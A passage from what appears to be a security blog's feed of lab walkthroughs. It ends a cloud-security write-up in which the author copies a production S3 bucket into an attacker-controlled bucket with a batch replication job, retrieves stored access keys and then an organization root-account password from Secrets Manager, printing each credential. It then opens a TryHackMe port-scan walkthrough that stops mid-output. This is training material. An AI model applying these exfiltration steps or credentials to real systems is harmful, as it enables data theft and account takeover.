</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;Principal&#34;</span>: {
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&#34;Service&#34;</span>: <span style="color:#e6db74">&#34;s3.amazonaws.com&#34;</span>
</span></span><span style="display:flex;"><span>      },
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;s3:PutObject&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:s3:::s3-secure-backup-4c8691723a37/*&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;Condition&#34;</span>: {
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&#34;StringEquals&#34;</span>: {
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;aws:SourceAccount&#34;</span>: <span style="color:#e6db74">&#34;036528129738&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;s3:x-amz-acl&#34;</span>: <span style="color:#e6db74">&#34;bucket-owner-full-control&#34;</span>
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&#34;ArnLike&#34;</span>: {
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;aws:SourceArn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-prod-4c8691723a37&#34;</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  ]
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>We upload the policy and then verify that it has successfully been applied.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester s3api put-bucket-policy --bucket s3-secure-backup-4c8691723a37 --policy file://s3-secure-bucket.json
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile pentester s3api get-bucket-policy --bucket s3-secure-backup-4c8691723a37 | jq -r <span style="color:#e6db74">&#39;.Policy&#39;</span> | jq .
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;Statement&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Principal&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Service&#34;</span>: <span style="color:#e6db74">&#34;s3.amazonaws.com&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;s3:PutObject&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:s3:::s3-secure-backup-4c8691723a37/*&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Condition&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;StringEquals&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;aws:SourceAccount&#34;</span>: <span style="color:#e6db74">&#34;036528129738&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;s3:x-amz-acl&#34;</span>: <span style="color:#e6db74">&#34;bucket-owner-full-control&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;ArnLike&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;aws:SourceArn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-prod-4c8691723a37&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We now initiate a batch operation job with the following command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>aws --profile pentester s3control create-job <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    --account-id <span style="color:#ae81ff">314031133559</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    --operation <span style="color:#e6db74">&#39;{&#34;S3ReplicateObject&#34;:{}}&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    --report <span style="color:#e6db74">&#39;{&#34;Bucket&#34;:&#34;arn:aws:s3:::s3-secure-backup-4c8691723a37&#34;,&#34;Prefix&#34;:&#34;batch-replication-report&#34;,&#34;Format&#34;:&#34;Report_CSV_20180820&#34;,&#34;Enabled&#34;:true,&#34;ReportScope&#34;:&#34;AllTasks&#34;}&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    --manifest-generator <span style="color:#e6db74">&#39;{&#34;S3JobManifestGenerator&#34;:{&#34;ExpectedBucketOwner&#34;:&#34;314031133559&#34;,&#34;SourceBucket&#34;:&#34;arn:aws:s3:::cust-txn-prod-4c8691723a37&#34;,&#34;EnableManifestOutput&#34;:false,&#34;Filter&#34;:{&#34;EligibleForReplication&#34;:true,&#34;ObjectReplicationStatuses&#34;: [&#34;NONE&#34;,&#34;FAILED&#34;,&#34;COMPLETED&#34;,&#34;REPLICA&#34;]}}}&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    --priority <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    --role-arn <span style="color:#e6db74">&#34;arn:aws:iam::314031133559:role/s3_batch_operations_role&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    --no-confirmation-required <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    --region us-west-2 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    --description <span style="color:#e6db74">&#34;Batch job to replicate objects from source bucket to attackers bucket&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;JobId&#34;</span>: <span style="color:#e6db74">&#34;7e900e96-8a25-4f62-aee3-09de19558bb3&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>The Job is then queued and we can run the following command and wait to see the Status marked as Complete.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester s3control list-jobs --account-id <span style="color:#ae81ff">314031133559</span> --region us-west-2
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Jobs&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;JobId&#34;</span>: <span style="color:#e6db74">&#34;f887b6bc-8e21-439d-a777-ce80eeb21255&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Description&#34;</span>: <span style="color:#e6db74">&#34;Batch job to replicate objects from source bucket to attackers bucket&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Operation&#34;</span>: <span style="color:#e6db74">&#34;S3ReplicateObject&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Priority&#34;</span>: 1,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Complete&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;CreationTime&#34;</span>: <span style="color:#e6db74">&#34;2024-06-19T04:47:51.106000+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;ProgressSummary&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;TotalNumberOfTasks&#34;</span>: 3,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;NumberOfTasksSucceeded&#34;</span>: 3,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;NumberOfTasksFailed&#34;</span>: 0,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Timers&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;ElapsedTimeInActiveSeconds&#34;</span>: <span style="color:#ae81ff">120</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We list the files in the directory of the s3-secure-backup and we can see that this has been successful.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester s3 ls s3://s3-secure-backup-4c8691723a37 --recursive
</span></span><span style="display:flex;"><span>2024-06-19 09:14:41         <span style="color:#ae81ff">94</span> Security_accessKeys.csv
</span></span><span style="display:flex;"><span>2024-06-19 12:51:01        <span style="color:#ae81ff">489</span> batch-replication-report/job-f887b6bc-8e21-439d-a777-ce80eeb21255/manifest.json
</span></span><span style="display:flex;"><span>2024-06-19 12:51:01         <span style="color:#ae81ff">32</span> batch-replication-report/job-f887b6bc-8e21-439d-a777-ce80eeb21255/manifest.json.md5
</span></span><span style="display:flex;"><span>2024-06-19 12:51:01        <span style="color:#ae81ff">304</span> batch-replication-report/job-f887b6bc-8e21-439d-a777-ce80eeb21255/results/54d6906181e032972479d71b161b6f4f48ab76c2.csv
</span></span><span style="display:flex;"><span>2024-06-19 09:37:40         <span style="color:#ae81ff">19</span> message.txt
</span></span><span style="display:flex;"><span>2024-06-19 11:01:02         <span style="color:#ae81ff">48</span> new_message.txt
</span></span></code></pre></div><p>There is one file that looks interesting and that is the Security_accessKeys.csv which we will download</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester s3 cp s3://s3-secure-backup-4c8691723a37/Security_accessKeys.csv .
</span></span><span style="display:flex;"><span>download: s3://s3-secure-backup-4c8691723a37/Security_accessKeys.csv to ./Security_accessKeys.csv
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ cat Security_accessKeys.csv
</span></span><span style="display:flex;"><span>Access key ID,Secret access key
</span></span><span style="display:flex;"><span>AKIAQ5M4GIJVVW4NMF6X,Olx0v5be4cN56dZ10wgHqAsHf1unhY7TTj2xL3ti
</span></span></code></pre></div><blockquote>
<p>With the file name from the production bucket, we can also use this to get a copy from the replica bucket.</p>
</blockquote>
<p><strong>Privilege Escalation</strong></p>
<p>With the credentials found in the S3 buckets we update our AWS Configuration and validate that the credentials are good.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile security configure
</span></span><span style="display:flex;"><span>AWS Access Key ID <span style="color:#f92672">[</span>****************KM65<span style="color:#f92672">]</span>: AKIAQ5M4GIJVVW4NMF6X
</span></span><span style="display:flex;"><span>AWS Secret Access Key <span style="color:#f92672">[</span>****************go5f<span style="color:#f92672">]</span>: Olx0v5be4cN56dZ10wgHqAsHf1unhY7TTj2xL3ti
</span></span><span style="display:flex;"><span>Default region name <span style="color:#f92672">[</span>us-west-2<span style="color:#f92672">]</span>:
</span></span><span style="display:flex;"><span>Default output format <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile security sts get-caller-identity
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;UserId&#34;</span>: <span style="color:#e6db74">&#34;AIDAQ5M4GIJV2PILOURPW&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Account&#34;</span>: <span style="color:#e6db74">&#34;063141462635&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::063141462635:user/security&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>This time we shall use <code>aws-enumerator</code> and first, we need to load our credentials and then we will enumerate all services.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ ~/go/bin/aws-enumerator cred -aws_access_key_id AKIAQ5M4GIJVVW4NMF6X -aws_region us-west-2 -aws_secret_access_key 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
</span></span><span style="display:flex;"><span>Message:  File .env with AWS credentials were created in current folder
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ ~/go/bin/aws-enumerator enum -services all
</span></span><span style="display:flex;"><span>Message:  Successful APPMESH: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>Message:  Successful AMPLIFY: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>Message:  Successful APIGATEWAY: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">8</span>
</span></span><span style="display:flex;"><span>Message:  Successful APPSYNC: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>Message:  Successful ACM: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>Message:  Successful ATHENA: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>&lt;--- snip ---&gt;
</span></span><span style="display:flex;"><span>Message:  Successful SECRETSMANAGER: <span style="color:#ae81ff">1</span> / <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>&lt;--- snip ---&gt;
</span></span><span style="display:flex;"><span>Message:  Successful WORKLINK: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>Time: 1m34.840934527s
</span></span><span style="display:flex;"><span>Message:  Enumeration finished
</span></span></code></pre></div><p>This is significantly faster than brute-forcing IAM permissions with Pacu, but with far less detail.  We can see that we have permissions to SecretsManager and shall list out the secrets.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile security secretsmanager list-secrets
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;SecretList&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;ARN&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:secretsmanager:us-west-2:063141462635:secret:root_account_906e09bc9074-YVUyHC&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Name&#34;</span>: <span style="color:#e6db74">&#34;root_account_906e09bc9074&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Description&#34;</span>: <span style="color:#e6db74">&#34;AWS Organization root account&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;LastChangedDate&#34;</span>: <span style="color:#e6db74">&#34;2024-06-19T14:47:05.447000+08:00&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;LastAccessedDate&#34;</span>: <span style="color:#e6db74">&#34;2024-06-19T08:00:00+08:00&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;SecretVersionsToStages&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;terraform-20240619064705375100000002&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;AWSCURRENT&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;CreatedDate&#34;</span>: <span style="color:#e6db74">&#34;2024-06-19T14:47:05.084000+08:00&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We can see from the above output that there is the AWS Organization Root Account Credentials which we shall retrieve.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile security secretsmanager get-secret-value --secret-id root_account_906e09bc9074
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;ARN&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:secretsmanager:us-west-2:063141462635:secret:root_account_906e09bc9074-YVUyHC&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Name&#34;</span>: <span style="color:#e6db74">&#34;root_account_906e09bc9074&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;VersionId&#34;</span>: <span style="color:#e6db74">&#34;terraform-20240619064705375100000002&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;SecretString&#34;</span>: <span style="color:#e6db74">&#34;{\&#34;flag: 8b681ceb4547c181bf82b7bff602d0f6\&#34;:\&#34;magnus@huge-logistics.com : OrgR00TP@ss!!\&#34;}&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;VersionStages&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AWSCURRENT&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;CreatedDate&#34;</span>: <span style="color:#e6db74">&#34;2024-06-19T14:47:05.443000+08:00&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We have the flag and the keys to the entire kingdom.</p>
<p>PWNED!!!</p>
]]></content>
        </item>
        
        <item>
            <title>Walkthrough - THM mKingdom</title>
            <link>https://www.nephos.guru/posts/2024/thm-mkingdom/</link>
            <pubDate>Mon, 17 Jun 2024 09:58:00 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/thm-mkingdom/</guid>
            <description>&lt;p&gt;This walkthrough is related to the easy level box from Try Hack Me called &lt;a href=&#34;https://tryhackme.com/room/mkingdom&#34;&gt;mKingdom&lt;/a&gt;.  Let&amp;rsquo;s get started&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.nephos.guru/assets/mKingdom_cover.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;We deploy the machine and once it is launched we run RustScan to see what ports are open (some content has been removed for brevity) and find that there is only Port 85 is open.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;❯ rustscan -a 10.10.4.31 -- -A -oA nmap-scan
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| &lt;span style=&#34;color:#f92672&#34;&gt;{}&lt;/span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;| &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; |&lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;__ &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;_   _&lt;span style=&#34;color:#f92672&#34;&gt;}{&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;__  /  ___&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; / &lt;span style=&#34;color:#f92672&#34;&gt;{}&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\ &lt;/span&gt;|  &lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;| |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| .-. &lt;span style=&#34;color:#ae81ff&#34;&gt;\|&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;_&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; |.-._&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; | |  .-._&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\ &lt;/span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;/  /&lt;span style=&#34;color:#ae81ff&#34;&gt;\ &lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\|&lt;/span&gt; |&lt;span style=&#34;color:#ae81ff&#34;&gt;\ &lt;/span&gt; |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;-&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; `-&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;-----&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;`----&amp;#39;&lt;/span&gt;  &lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;-&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;  `----&amp;#39;&lt;/span&gt;  &lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;---&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; `-&amp;#39;&lt;/span&gt;  &lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;-&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;`-&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;-&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;The Modern Day Port Scanner.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;________________________________________
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;: http://discord.skerritt.blog         :
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;: https://github.com/RustScan/RustScan :
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; --------------------------------------
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;Scanning ports: The virtual equivalent of knocking on doors.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;[~] The config file is expected to be at &amp;#34;/home/n3ph0s/.rustscan.toml&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;[!] Your file limit is very small, which negatively impacts RustScan&amp;#39;&lt;/span&gt;s speed. Use the Docker image, or up the Ulimit with &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--ulimit 5000&amp;#39;&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Open 10.10.4.31:85
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;~&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; Starting Script&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;s&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; Running script &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;nmap -vvv -p {{port}} {{ip}} -A -oA nmap-scan&amp;#34;&lt;/span&gt; on ip 10.10.4.31
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Depending on the complexity of the script, results may take some time to appear.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;~&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; Starting Nmap 7.94SVN &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt; https://nmap.org &lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; at 2024-06-15 08:36 PST
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Scanned at 2024-06-15 08:36:34 PST &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; 30s
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PORT   STATE SERVICE REASON         VERSION
